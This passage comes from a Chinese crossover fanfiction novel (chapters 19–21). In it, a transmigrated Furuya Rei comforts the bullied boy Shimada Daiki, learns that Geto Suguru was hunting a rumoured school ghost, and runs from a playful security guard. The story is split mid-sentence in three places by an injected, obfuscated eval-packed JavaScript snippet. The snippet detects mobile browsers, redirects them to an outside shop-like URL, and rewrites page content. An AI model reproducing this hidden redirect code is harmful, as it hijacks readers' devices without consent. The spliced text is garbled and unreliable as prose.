如果是其他人遇见他不说话的这种情况,之前找他麻烦的人会对他进行更恶劣的语言羞辱,刚刚那个虽然帮了自己但凶神恶煞的人会不断逼自己说话,可现在这个叫降谷零的…… 抱着书包的人小心翼翼地抬头,看见了降谷零不变的笑容。 “你好?”降谷零再次冲他打招呼。 犹豫了一下,那个人小声道:“你好,我叫岛田大树……” 降谷零弯了弯眼睛:“岛田同学好。” 愿意开口就好,开口后剩下的就有了突破口。 “岛田同学愿意和我说一下刚刚发生了什么吗?”降谷零双手撑着脸,眨了眨大眼睛,里面带着不让人感到冒犯的好奇,“因为在外面的时候隐隐约约听到了奇怪的声音,所以很不放心地进来看看,没想到就看见了你们对峙的一幕。” 降谷零夸张地叹气:“我吓了一跳呢,尤其是看见夏油同学的时候。” 他露出一个纠结地表情:“那个啊……虽然有替人开脱的嫌疑,但夏油同学是个不错的人哦?我上周五放学的时候被四个人堵住找茬了,是他帮我的呢。” 说到这里,他不好意思地抿唇:“所以我有点奇怪,为什么刚刚夏油同学会是那种样子,看起来有点不像好人。” 岛田大树对降谷零的最后一句话简直不要太赞同,唯一持相反意见的是那个程度词——那哪里是“有点”,根本就是“非常”! 岛田大树结结巴巴道:“我、我是在这里偶遇他的,他……那个,因为一些事情,我心情不太好,他知道后就让我打起精神,但是我……我有点做不到,他就变成刚刚那样了……” 忍了忍,他忍不住又低声加了一句:“一副下一秒就让我切腹谢罪的样子……” 降谷零:。 降谷零暗中咬了一下口腔内壁,才把莫名被戳中笑点的笑意压下。 “嗯……我完全能理解。”降谷零一本正经地附和,“夏油同学是严肃到有点吓人了。” 然后他话音一转:“但是也是因为这样,他才会帮我们吧?因为觉得不好,就直接站出来,很少有人能真的做到呢,我认为他很厉害。” 因为听到降谷零也经历了不好的事情,且对夏油杰和自己有一样的看法,岛田大树瞬间就把他划为了自己人。 面对降谷零对夏油杰的评价,他也颇为认可地点头:“嗯,他很厉害……我其实放学就到这边了,期间也有一些人经过我在的隔间,但只有他敲门了,还不顾我的意愿把我强行拉出来,还给我打气……”虽然打气的方法让他十动然拒。 “但……我还是很谢谢他的……” 19.第 19 章 岛田大树是一个男生,但他的声音却很不男生,听起来要比起其他男生尖细许多,再加上他长得不那么高,有不少认识他的同龄人——尤其是他班上和社团里的男同学——都嘲笑他不该叫大树,而是该叫小草或者菜芽。 岛田大树很难过,他试图反驳,却嘴笨不知道怎么说,只能忍下来。 大概是觉得他好欺负,他被嘲笑得更厉害了。 后来岛田大树有些受不了了,就试着鼓起勇气和父母说了自己的困扰,但父母却觉得这件事没什么的,不仅没有安慰他,还让他不要那么在意这些没用的东西,把注意力多放在学习上; 岛田大树又想起老师说过,学习和生活中遇见什么困难都可以找老师,他就又去给老师说,老师确实是帮助他了,但也只是口头上教育了一下那些男同学,让他们不要嘲笑他,这不仅根本什么都没改变,事后还让他多了一个告状精的外号。 一鼓作气,再而衰,三而竭,连续两次向心中可以帮忙的人求助,却没有得到很好的回应,岛田大树失去了再次开口的勇气,不再期望外人的帮助。 可困境仍然存在。 兜兜转转,一切又回到原点,岛田大树仍旧不知道该怎么处理这件事。 最后岛田大树实在没办法了,他想到那些人都是因为声音嘲笑自己,就决定用沉默保护自己,平时能不说话就不说话。 不说话的话就不会发出声音,他们就不会再说自己了吧?岛田大树这样想。 可惜这并不能让那些人停下来,反而让他们觉得“让岛田大树开口”这件事是一个新的游戏,每天不胜其烦地用各种方法刺激他开口,说什么话的都有。 有一次,那些人说的话实在太过分了,岛田大树忍不住躲起来哭了一鼻子,哭完后他觉得心里舒服了不少,他觉得自己找到了一个新的解决办法,所以后来每一次熬到受不了的时候,他就会找一个没人的地方偷偷哭。 今天他正好躲到这里——然后就被夏油杰听到了。 除了第一次在班级的工具间里哭,岛田大树后来每一次都会特意找不会有人认识他的、少有人来的角落。 明明之前都从未被发现过的,就算有人路过也不会多管闲事,也不知道这次怎么就遇见一个不按套路出牌的人? 当时他正蹲在隔间发泄情绪,突然就有人DuangDuangDuang地敲门,那动静和拆门差不多,岛田大树吓得差点跪在地上,以为自己又哪里惹到了别人,有人要对他动手了。 然后经过一番折腾,岛田大树被夏油杰揪出了隔间,被迫坦白的事情的起因、经过和结果。 夏油杰很不理解:“不就是声音和身高吗,这有什么大不了的?他们要是再说你,你就骂回去啊,揍回去最好。” 岛田大树:…… 有没有可能就是做不到才会变成现在这样? 夏油杰提了不止一个建议,但每一个对岛田大树来说都是不可能做到的事情,如果他用的出来那些强硬的反抗方式,那他早就做了,何必等到现在? 他害怕,害怕父母又指责他不好好学习,害怕老师说他小题大做,害怕像之前那样遇见更恶劣的报复…… 所以果然是他太差劲了吧……才会遇见这些事情…… 岛田大树不可避免地陷入负面情绪,他知道夏油杰是为他好,但他实在没心情回应对方,也解释不出来为什么不回应。 夏油杰见岛田大树跟闷葫芦一样,更着急了,态度也就更激进了些。 ——然后就变成了最开始降谷零看见的那样。 “原来如此。”听岛田大树说完大致的因果,降谷零颔首,“所以现在的重点是让你靠自己脱困——而要做到这点,就要你有自信。” 岛田大树听见这话,再次低头,垂眸看着怀里的书包,闷声道:“……做不到……”不论哪个都做不到。 岛田大树悲观地认为,能像现在这样,有同龄男生愿意好好听他说话就很好了。 降谷零安抚他:“怎么可能做不到?岛田同学只是还不清楚自己的嗓音有多么独特,多么令人羡慕罢了。” “诶?”岛田大树猛地抬头看向降谷零,“独、独特?羡慕?我的声音吗?” “是啊。”降谷零掰着手指数,“首先就是辨识度很高。如果你在学校的活动中主持节目或者演讲,你一开口大家就知道是你,这不是很厉害吗?” “其次就是唱歌的时候非常有优势。比起其他男生,你的高音区更通透、假声更自然,不用费太多力就能唱到普通男生难企及的高音。如果是在合唱队里,还能轻松担任‘男高音’或‘假声男高音’声部,成为团队里不可或缺的存在。” “还有啊,如果你对动画片之类的感兴趣,长大后你就可以去当配音演员。你这种声音既能自然驾驭小男孩的角色,也能通过简单练习适配小女孩之类的女性角色,甚至能挑战中性化的神秘角色,比普通男声拥有更宽的角色适配范围。” “除此之外,你应该听过电台的节目吧?和第一点一样,除了辨识度的优势,比起粗犷的男声,你的声音更能让人放松,再加上反差感,就能快速让听众记住你,形成个人专属风格,绝对可以拥有很多粉丝。” 说到这里,降谷零耸耸肩:“总之,就是有很多啊,你只是不知道而已。” 岛田大树愣愣地看着降谷零,嘴巴张张合合,半晌才憋出一句话:“是、是这样吗?” “是啊,所以你该自信的。”降谷零的语气笃定,听上去让人忍不住想去相信,“笑话你的人肯定都不知道这些,不然就该换他们不自信了。”其实倒也没有这么夸张,但帮助小朋友树立自信嘛,稍微往大了说一点没关系。 顿了顿,降谷零压低声音,神秘道:“岛田同学,我其实有个法子让他们都闭嘴,和夏油同学的方法不一样的那种,你要不要听听?” 岛田大树迟疑了一下,但最后选择相信唯一会夸赞自己的降谷零,他用力点头:“我要听!” 降谷零凑到岛田大树耳边一阵嘀嘀咕咕,等他说完后,岛田大树的眼睛眼睛完全瞪圆了。 “这、这样行吗?”岛田大树结结巴巴地问。 降谷零冲他眨眨眼:“我觉得可以。你试试呗,试试又不亏,而且这方法比夏油同学的要简单得多吧?” 岛田大树咬紧下唇,纠结地皱起眉头:“那我试试……?” “你试试,如果不行再和我说,我再给你出别的主意,加油!” 降谷零一手捞起岛田大树怀里的书包,一手将他拉起来,把人推到洗手池旁:“现在先洗洗脸,然后出去吧,夏油同学应该等很久了。” “哦哦。”岛田大树还没反应过来,就被催促着洗完脸,然后手里又被塞了一张手帕纸。 等他都收拾好,降谷零把书包还给他,带着他走出去,但还没走到门口,降谷零就看见夏油杰在拐角伸长脖子,姿势别扭地竖着耳朵。 降谷零:…… 这是在偷听他们说话吧? 降谷零假装没看见,快步上前:“夏油同学,岛田同学已经想好了,他决定要努力改变。” “啊!” 夏油杰被吓了一跳,腿一软差点跪下来,手忙脚乱地扶住墙才站稳,他按住咚咚跳的心脏:“……你走路怎么没声?” 其实夏油杰听见了有脚步声往这边走,但他只听见了一道脚步声,听起来还拖拖拉拉的,他就以为是降谷零行动失败来找他了,夏油杰还思考着要怎么安慰他,没成想被安慰的对象突然就出现了,吓死人了。 听见夏油杰的问题,降谷零愣了一下,沉默一瞬。 那当然是因为习惯了——脚步声带来的惨剧他不想再经历第二遍。 他垂眸掩去眼底的灰暗记忆,眨眼间恢复笑意:“对不起,我没想到会吓到你。” 由于是自己偷听在前,理亏的夏油杰干咳一声:“哦,没事… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104062|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …刚听你说解决了?这么快啊?”他拍了拍手,又理了理袖口,最后跺了跺脚。 看见夏油杰用假装很忙的样子来掩饰尴尬,降谷零刚刚沉重的心情又好了不少。 降谷零看向踩蚂蚁踩到现在才走过来的岛田大树:“因为岛田同学很有勇气嘛。而且也多亏了夏油同学之前打的基础,我其实并没有做太多。” 见岛田大树还低着头,降谷零一把掌拍到他的背上:“对吧,岛田同学?” 岛田大树被拍得一个激灵,下意识挺直腰背:“啊?啊!是?” 其实他刚刚因为想到要面对夏油杰就感到压力山大,完全没听他们在说什么,所以现在是在“是”什么? 降谷零看出他的走神,鼓了鼓脸:“我们在说,岛田同学愿意努力,是因为自己很有勇气,也是因为夏油同学之前的功劳,对吧?” 他又拍了拍岛田大树的脊背:“所以别用疑惑的语调啊,至少再肯定点吧?快点快点,声音再大点,语气再肯定点。” 岛田大树:…… 啊,其实他愿意努力是因为降谷同学来着,至于他自己和夏油同学…… 他自己就不说了,主要是夏油同学……他感谢夏油同学是感谢,但如果把功劳归在他身上…… 岛田大树憋了半天,憋红了脸才憋出一个字:“是……” 他的声音格外心虚,连他自己都听出来了,他有点尴尬地快速看了一眼夏油杰,就看见对方拧着眉,看起来不满之意都溢出来了。 岛田大树倒吸一口气,立刻大声道:“是!多亏了夏油同学!” “总之我一定不会辜负夏油同学的我从明天起就立刻开始行动至于今天我就先告辞了再次感谢夏油同学!” 岛田大树跟连珠炮似的,连气都没喘,一次性把这一长串说完后,他冲着夏油杰一个大鞠躬,然后迅速跑走。 被留在原地的降谷零和夏油杰:…… 两个人面面相觑,夏油杰怀疑地问:“他真的行吗?你们到底聊了什么?真的靠谱吗?” 夏油杰原本就不放心让之前也被围过的降谷零去解决这件事,后面见他速度那么快就出来就更不放心了,现在再看见岛田大树的反应,夏油杰很难说服自己一切解决了。 可惜公共厕所的空间比较大,降谷零和岛田大树又是在最里面小声说话,他完全没听到他们说了什么。 “嘛,我觉得是靠谱的。至于跑走……岛田同学大概是有什么急事吧?”降谷零含糊回答。 夏油杰不是很信,但当事人都跑走了,还比之前精神了不少,他也懒得深究了。 他转而问降谷零:“所以,这个时间点,你为什么在这里?” 降谷零无意透漏原委,随便找了一个借口:“社团活动后轮到我打扫卫生,干活干晚了。” 夏油杰回忆了一下之前来这里的情况,依稀记得确实有一些值日生在田径场上逗留,但他没有留意其中有没有降谷零,似乎没看见有金色…… “夏油同学又是为什么会在这里?”降谷零果断出声打断他的思绪,“也是社团活动的值日生吗?” 夏油杰的注意力被转移:“我没参加社团,至于出现在这里的原因……” “你没听说过吗,我们学校不久前开始流传一个传言:空教室的讲台下、操场的器材室、厕所的最里格,放学后总飘着同一道细细的女声在哭,可顺着声音找遍每个角落,连半片衣角都摸不到。” “我就是来找这个女鬼的——结果没想到既不是鬼,也不是女。”夏油杰露出一个一言难尽的表情。 降谷零:? 降谷零试探地问:“该不会……这个‘女鬼’,其实是岛田同学吧?” 夏油杰心情复杂地点点头:“就是他。我和他确认过他之前哭的地方,和传言都对上了。” 降谷零:…… 啊这,虽然离谱,但确实很合理,降谷零的心情也有点一言难尽。 20.第 20 章 不过降谷零更在意的是另一件事情。 “夏油同学对灵异事件感兴趣吗?”居然只是听说了传言就去实地验证,简直太大胆了。 想到这个世界的非科学性,降谷零就直冒冷汗,他根本不敢想如果传言是真的会怎样,那他大概现在就只需要给夏油杰收尸了。 退一万步讲,就算在他原来的世界,有这种传言的地方也伴随着恶性案件,贸然追查一样是会有危险的,真不知道夏油杰一个小孩子怎么敢的,这就是无知者无畏吗? 看着夏油杰,降谷零一阵头大。 提问:要怎么才能让作死的熊孩子安分点?在线等,挺急的。 降谷零本以为这是头铁孩子的兴趣使然,没想到夏油杰否认了。 夏油杰解释道:“我对灵异事件不感兴趣。只是觉得放任不管的话,对其他人不好,万一他们被女鬼袭击,然后受伤怎么办?” 降谷零:……? “所以你的意思是,你想驱鬼?为了保护大家?”降谷零试着总结。 夏油杰扬起下巴:“没错,因为我有——” 在下一个字脱口前,夏油杰及时刹车。 他顿了顿,干咳一声,继续道:“咳,总之我有能力,我很强,我可以保护大家。” 降谷零疑惑地看向夏油杰,视线扫过他不自然的表情。 夏油杰原本是想说“有”什么?他为什么会在中途突兀地卡了一下?就连刚刚弯起的唇角也被强行压下……这种微表情代表对方很自得,但又在刻意克制情绪,不去炫耀……是什么促使让夏油杰这种年龄的孩子又自信又谨慎? 冷不丁的,降谷零想起一种可能——难不成夏油杰是咒术师? 如果夏油杰真的是咒术师,那他的所有表现都有了解释:自信是因为有了超乎常理的力量,可以与非科学现象对抗;自得是因为这种能力很少见,说是万里挑一也不为过,他有骄傲的资本;至于说谨慎,大概是因为担心引来不必要的关注。 除此之外,之前夏油杰帮助他的时候也是,面对四个人完全都不带怕的。 蚁多能胜狮*。 哪怕是久经训练的成年人,在面对四倍的敌人时也会吃力,没道理夏油杰一个小学生能毫无顾忌地一挑多——但如果他是被加强了身体素质的咒术师,这点就可以解释了。 降谷零越想越觉得对,甚至想开口问问夏油杰是不是咒术师。 但他又转念一想,夏油杰也不一定是咒术师吧?不是说野生咒术师非常稀少吗?能这么巧就让他正好遇见一个吗?这多少有点视网膜效应*了。 因为脑中的思绪有点乱,降谷零只干巴巴地夸了一句:“夏油同学真热心。” 夏油杰绷着脸露出一个含蓄的笑容:“帮助大家是应该的,这没什么。” 见夏油杰一副“你夸我我很开心但我要矜持”的样子,降谷零忽然起了点恶趣味。 他的眼珠转了半圈,然后嘴一张,就开始对着夏油杰大夸特夸,什么勇敢、正义、热心之类的词,能用的全用上了。 不仅把夏油杰之前帮助自己的全过程都拉了出来,还把他现在帮助岛田大树的全过程也都拉了出来,并从中捡出数个细节,挨个夸了一遍。 夏油杰一开始还能谦虚几句,但随着降谷零越说越多,他就逐渐开始红温,最后连脑袋都开始冒热气。 注意到这点的降谷零忍不住弯起嘴角:嗨呀,逗小孩子真有趣,尤其是逗这种一本正经、故作成熟的小孩子最有趣了。 看夏油杰CPU过载到语言中枢混乱,降谷零才意犹未尽地停下,换了话题:“对了,在遇见岛田同学前,夏油同学之前把传言中的地方都找遍了吗?” “啊……啊?啊。”夏油杰迟了一秒才回答,他用手背搓了搓发烫的脸颊,“是都去过,因为要检查到底是不是真的。除了传言里的地方,我把其他可能的地方也都跑了一遍。” 降谷零惊叹:“全部都跑了一遍吗?” 居然知道排查,还付诸了行动,看样子平时应该没少干类似“追着危险事件跑”的事情。 降谷零问:“夏油同学这么努力,只是为了预防有同学遇到危险吗?” 夏油杰不赞同地看向降谷零:“怎么能说是‘只是为了’?大家的安全很重要啊。而且我有能力,我就该去做,这是我的……嗯……”他一时忘记了那个词要怎么说。 “责任?”降谷零试探地提醒。 夏油杰重重点头:“没错,责任!这是我的责任!” 降谷零眨眨眼,又问:“那夏油同学经常这样吗?就是……不仅帮助他人,还会提前替他人排除危险之类的。” “当然啊。”夏油杰的语气理所当然,“都说了这是我能力范围内的事情,我自然会做。” 降谷零看他表情真挚,明白他是打心底这么认为的,降谷零不由地感慨一句:真是一个优秀的警察苗子,这要是在他的原世界,高低得打包带走。 话又说回来,提到有潜力的苗子,降谷零就不由想起零组之前那群新来的人,那真是让他一个头两个大。 毕业成绩倒是不错,但入职后做事的水平只能用不忍直视来形容,简直有堕他母校的名声! 他当年可完全不一样啊,不论是hiro还是班长,亦或是萩原和松田,都是个顶个的好手,难道是警校的训练退步了? 可他专门回校看过,根本没差别! ——所以就是学生的问题了! 风见也是,一天到晚总用一副担心自己猝死的老妈子眼神看自己,要降谷零说,他那完全就是多余的瞎操心。 与其担心这些有的没的,还不如想想怎么操练那些新来的下属,他们早点独立,自己不就能少干点活、早点下班吗? 唉,要是那些从警校出来的学生每一个都能和工藤新一一样就好了,实在不行有他的一半也行啊——或者四分之一。 工藤君多聪明啊,之前还是江户川柯南的时候就又是跟踪又是窃听器的,堪称天选公安预备役!可惜小孩一心想当侦探。 不过没关系,工藤君还小呢,他们公安行事非常灵活,也不一定非要走一套警校的流程。 再不济,编外人员也行。 但如果能选择,果然还是直接入职自家才香。 这时候降谷零就格外羡慕大阪那边了,因为那个叫服部平次的聪明小孩非常坚定地去当警察了。 “关西的服部,关东的工藤”,都是高中生侦探,怎么差别就这么大呢? 是因为家学渊源吗?如果他把工藤优作和工藤有希子拐进公安,工藤新一会来吗? 不过比起日本,工藤一家好像和美国的关系更近一点,之前居然还帮那个该死的FBI演他——所以果然都是FBI的错! 该死的赤井秀一!!! 想到那群讨厌的、在他的国家里上蹿下跳的外国人,降谷零心中的无名火就蹿了起来。此时再看热心的日本孩子夏油杰,降谷零对他的好感度直接upup。 虽然夏油杰行事有些鲁莽,但他的出发点是好的,而且小朋友嘛,有时候考虑得不周到也正常,降谷零又忍不住开始夸夏油杰。 夏油杰又宕机了。 降谷零之前夸他的话他还没消化完,现在又被噼里啪啦地砸了一脸赞美之词,他感觉自己刚刚缓过来的头脑又有了过热的趋势。 “够了够了,可以了,别说了。”夏油杰面红耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112258|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤,直接上手捂住降谷零的嘴,“你……你哪里来的这么多乱七八糟的词汇和比喻?” 降谷零又眨了眨眼,努力用自己圆圆的眼睛发射无辜的信号,但夏油杰根本不吃他这一套。 见这样没用,降谷零向后退了半步,重新争取到说话的机会,然后语气控诉道:“什么叫‘乱七八糟的词汇和比喻’啊?我明明是在真心实意地夸奖你!夏油同学好过分……”说着,还撇了撇嘴,一副下一秒就要哭的样子。 夏油杰立刻变了脸色,表情甚至带上了些许惊恐:“我没有!你别哭!不许哭!” 只是在装可怜的降谷零:。 搞没搞错,怎么突然反应这么大?“不许哭”三个字都是喊出来的了。 “我没哭。” 顿了顿,降谷零又补充了一句:“也没打算哭。” 夏油杰仔细打量着他的表情,确定他确实没有哭的迹象后松了口气:“不哭是对的。男子汉大丈夫,哭哭啼啼的不像话。” 降谷零:…… 降谷零犹豫了一下,问:“夏油同学,我姑且问一下,请问刚刚这句话你对岛田同学说过吗?” “当然说了啊。”夏油杰不明所以地看他一眼,紧接着又露出一言难尽的表情,“结果他虽然停下来哭了,但还是抽抽噎噎的,讲话也讲不清楚,还不如继续哭呢。” 降谷零:………… 降谷零迟疑着问:“那这句‘不如继续哭’你应该没说吧?” 夏油杰的回答很耿直:“那倒是没有,我只是让他闭嘴而已。” 降谷零:……………… 好一个“只是”让他闭嘴,还“而已”,怪不得岛田大树认为夏油杰凶呢。 降谷零委婉地建议:“嗯……我听说在面对情绪激动或者情绪起伏比较大的人的时候,可以先用温和的态度顺着他们来,这样会让他们更容易冷静下来,从而更能听进去话。这是不是说的就是岛田同学的情况?” 夏油杰点头:“你是对的,这就是岛田君的情况,我也知道这种方法。但……” 他老气横秋地叹了口气:“但效率太低了,还是让他们直接闭嘴,然后听我说比较快。” 降谷零:??? “‘他们’?” 怎么听着“受害者”众多啊? 夏油杰原本没觉得有什么,但看降谷零一副震惊的样子,莫名开始觉得尴尬。 他的眼神飘忽一瞬,支支吾吾道:“总之,都是必要的行动。” 降谷零:。 真的吗?他不信。 但怎么说呢……听见夏油杰说这句话,降谷零冒出来的第一个反应是:好公安的发言,好公安的作风,要是更强势一点就更对味了。 ——嗨呀,好苗子啊! 可惜,真可惜,不是自家世界的。降谷零看向夏油杰的眼神更加遗憾。 夏油杰被他看得打了一个激灵,条件反射地后退一步,身体下意识摆出了防御姿势:“你那是什么眼神?” 降谷零实话实说:“是欣赏夏油同学的眼神。” 夏油杰眼神怀疑,但他实在没看出来有什么异样,只好勉强接受了这个解释。 “好吧,谢谢你。对了——” “喂!你们两个这么晚不回家再干什么?” 夏油杰话说到一半就被一声扯着嗓子的喊叫打断,他下意识回头,和大步往这边跑的保安对上视线。 夏油杰:! 他立刻拉住降谷零,拔腿就跑。 降谷零:?! 降谷零猝不及防被拉得一个踉跄,硬生生靠着核心力量才将将稳住身形,跟着向前跑:“等等,发生了什么?我们为什么要跑?” 21.第 21 章 降谷零刚刚也回头看到了保安,这个保安算是他的熟人——其实学校一共就两个保安,两个都是他的熟人。 虽然降谷零入学时间短,但因为他从一开始就目标明确——抓紧时间熟悉这个世界和周围的生活环境,所以降谷零早就特意刷高了学校独有的“扫地僧”——保安——的好感。 刚刚那个保安姓木村,全名木村健一,今年四十九岁,在学校负责安保工作已经快要超过二十年了。 换个说法就是:木村健一大概掌握了学校几乎所有有用的信息渠道,包括但不限于学校的各种新闻,领导老师的各种特点,以及学生家长的各种事情,等等等等。 甚至再夸张点,学校有几只流浪猫,每只哪天都有什么活动,说不定他都清清楚楚。 总之,非常值得交好。 为了事半功倍,在去刷好感前降谷零特意私下打听了一下木村健一的情况,大部分人对他的评价都是“严肃”,“一本正经”,“感觉有点吓人”之类的内容。 再加上降谷零几次见木村健一,都只看过他板着脸的样子,降谷零就以为这个人很难搞,甚至做好了打长期攻坚战的准备。 结果真正开始刷好感时,降谷零一接触木村健一才发现,他根本就是一个话痨! 而且这人私下里喜欢逛菜市场,据木村健一自己说,他有着极其强悍的社交能力,蹲哪里都能和人聊。 降谷零没去实地或者现场验证过,但在和木村健一聊天时,他确定木村健一确实不是一般的能说:给他一个词,他能天南海北地全聊一遍,关键是能还不让人反感他话多。 用一个词评价,就是“恐怖如斯”。 降谷零:果然保安这种不起眼的角色都是卧虎藏龙吗? 后来,等两人彻底混熟了,降谷零好奇地问木村健一为什么平时一直板着脸,明明保持和善的样子更有利于维持良好形象? 结果木村健一说:“这样看起来沉稳可靠点,能体现我身为保安的专业性。” “做什么事情就要展现什么样的形象,我一个做保安的,整天乐呵呵的算什么?我要是真的天天笑眯眯的,别人一看,第一印象就是‘嚯,这家伙看着就不正经’,你说这能行吗?” 木村健一自豪地叉着腰,用拇指擦过鼻尖,冲降谷零挑眉:“保安就是要有威慑力才行!不然怎么镇住想要乱来的人、保护学校?” “而且啊,我也只是上班时间严肃,下班我也会和大家勾肩搭背、约着一起喝酒——我可是非常公私分明的!” 降谷零:。 好吧。 于是,出于对木村健一个人坚持的尊重,降谷零在木村健一的工作时间并不会撩拨他想要聊天的心。 但现在已经放学了,他刚刚还准备和木村健一打个招呼、问个好来着,没想到突然就被拽走了。 降谷零又回头看了一眼,只见木村健一一点儿也没被年龄限制,腿脚格外灵活地追过来。 降谷零忍不住走神一瞬:这也是“身为保安的专业性”吗?保持身体锻炼,然后能方便追捕工作? “前面两个!站住!” 哦,声音也中气十足。 ——只是听着怎么带着笑意呢? 降谷零再次回头,敏锐察觉到木村健一的嘴角僵硬,绷得有点太直了,他瞬间了然。 果然啊,他就说木村健一明明认识他,为什么喊的却是“喂”和“前面两个”,结果是在…… 降谷零看了一眼如临大敌、急忙跑路、熟练到一看就不是第一次的夏油杰。 ——结果是在逗孩子啊。 夏油杰一边跑,一边警惕木村健一和他们的距离,抽空回答降谷零之前的问题:“这些不重要!先跑!” 他拉着降谷零,在(他并不知道的)木村健一的放海中,一路从田径场狂奔出学校,最后停在距离学校一条路的拐角处喘气。 “呼……” 降谷零靠在墙上,仰头看着被染成了橘红色的天空,慢慢平复着呼吸:“……所以,现在能说了吗?到底为什么要跑啊?” 夏油杰一时沉默,他实在不知道怎么解释他“因为经常逗留学校,并且不止一次被抓住教育,导致现在看见保安制服就形成了逃跑的条件反射”这件事。 “因为……呃……” “因为……被抓住后会被说教,很麻烦。”夏油杰憋了半天,憋出一个勉强合格的理由。 降谷零抿唇忍住笑意,他已经猜到大概原因了,但他也不戳破小朋友的挽尊,顺势道:“这样,你说的也是。” 他换了话题:“对了,你之前是想和我说什么来着?” “之前?” 夏油杰反应了一下才反应过来降谷零在说什么,他回忆道:“哦,我是想问你,山本亮太没再找你麻烦吧?” 原来是山本亮太啊,降谷零周五说要查来着,但他后面完全没顾上。 “没有。”降谷零摇头,“说起来,山本亮太到底是怎么回事啊?” “山本亮太啊……”夏油杰明显很不喜欢这个人,从提起这个名字开始就不自觉地皱眉,“他——” 夏油杰忽然停下话头,动作可疑地前后张望,见周围没人,才凑到降谷零身边,压低声音说:“他不太正常。整天神经兮兮的,到处招惹是非,仗着家里有钱就瞧不起所有人,讨厌得很,你尽量离他远点儿。” 说完,他摸摸鼻子解释:“那个,我知道在背后说别人坏话不太好,但这些事情大家基本都知道,我只是在提醒你,不是在故意造谣哦?” 夏油杰很担心刚刚还在夸自己的降谷零会对自己的印象变差,但他又不能让降谷零对山本亮太一无所知,不然降谷零不知道提前避开那个家伙、又被找茬怎么办?自己可不是每一次都能及时赶到的。 降谷零看出了夏油杰的纠结与好意,他弯起眼睛:“我知道的,夏油同学才不是那样的人,我相信你。而且我刚转学过来,确实不太了解学校的一些情况,还要谢谢你告诉我。” 相信他?夏油杰愣住,他有多久没有听到同龄人说相信他了? 他曾经请教过爸爸,怎么让别人相信他说的话,爸爸确实教给他了许多办法,但那些办法根本不顶用——甚至爸爸自己都不信他,后来他就不期待有人相信他了。 结果没想到,他今天意外从降谷零这里听到了这两个字…… 心底酸涩的气泡冲上来,噗嗤噗嗤地爆出了甜味,夏油杰根本克制不住脸上的笑容,眉眼舒展道:“不客气!” “说到山本亮太,你经常碰见这个人吗?”降谷零好奇地问,“我看他好像很熟悉你?” “只是和他对上的次数比较多而已,一来二去就被迫熟悉了,我倒是宁愿和他不认识!” 夏油杰有点激动道:“你知道吗?从今年开学到现在,明明没过没多久时间,我却已经在我们年级看见他十几次了!明明他是二年级,没事儿老往我们楼层跑什么啊!每次还都给我惹出一堆麻烦事,烦人!” 降谷零倒是知道山本亮太为什么来三年级这边,他有七成的可能是冲着自己班里的加藤樱子来的。 不过夏油杰不知道这件事吗?明明上周五堵人的时候,山本亮太很嚣张地提到了加藤樱子,降谷零以为大家都知道山本亮太对加藤樱子的感情。 降谷零问:“夏油同学不清楚他为什么来我们年级吗?” 夏油杰不甚在意地摇头:“不知道。我也不关心。反正我知道他是来找事的,而我需要解决就行。” 顿了顿,他眉心蹙起,还是补充了一句:“其实我之前问过几次,但他给的理由都千奇百怪,什么‘看不顺眼他那一层的开水房,所以到我们这边来接水’,或者‘觉得学校故意给他们班分配了旧的、不好用的工具,所以来看看’之类的,次数多了我就懒得问。” 降谷零:“这样啊……我还以为夏油同学会想知道真正的原因呢。因为这样就能彻底解决麻烦了,毕竟治本比治标更一劳永逸。” 他担心自己说的有些词不在小学生的词库里,又进一步解释:“我的意思是说,找到真正的原因,然后一次性解决问题,之后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122253|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也不用麻烦了。” 夏油杰有些老气陈秋地叹了口气:“我也想啊,但这不是找不到吗?我也不可能天天跟在山本亮太后面,所以就这样了。我都烦死了,幸亏山本来找事的时候,加藤桑有时会搭把手——不过她也很头疼就是了。” “加藤桑?”降谷零捕捉到关键词,“是我们班的加藤樱子同学吗?” “是啊。”夏油杰抬眸回忆了一下,“说起来加藤桑她也是倒霉,时不时就能撞见山本惹麻烦的现场。” 降谷零:…… 加藤樱子经常撞见山本亮太?很好,七成的概率瞬间变成了九成。 能不撞见吗?山本亮太这个麻烦本烦基本就是被加藤樱子引来的。 不过这样听下来,山本亮太对加藤樱子的情感似乎没什么人知道?包括加藤樱子本人都不知道。 那么问题来了:为什么他会知道? 因为当时堵他的时候山本亮太提起了。 那山本亮太又为什么会在那个时候提起加藤樱子来警告他? 降谷零眉心不自觉蹙起,他迅速过了一遍周五的场景,画面一帧帧在脑海中闪回,很快,他抓到了一个之前被忽略的重点——山本亮太说了“邀请一起玩”。 降谷零:。 不会吧? 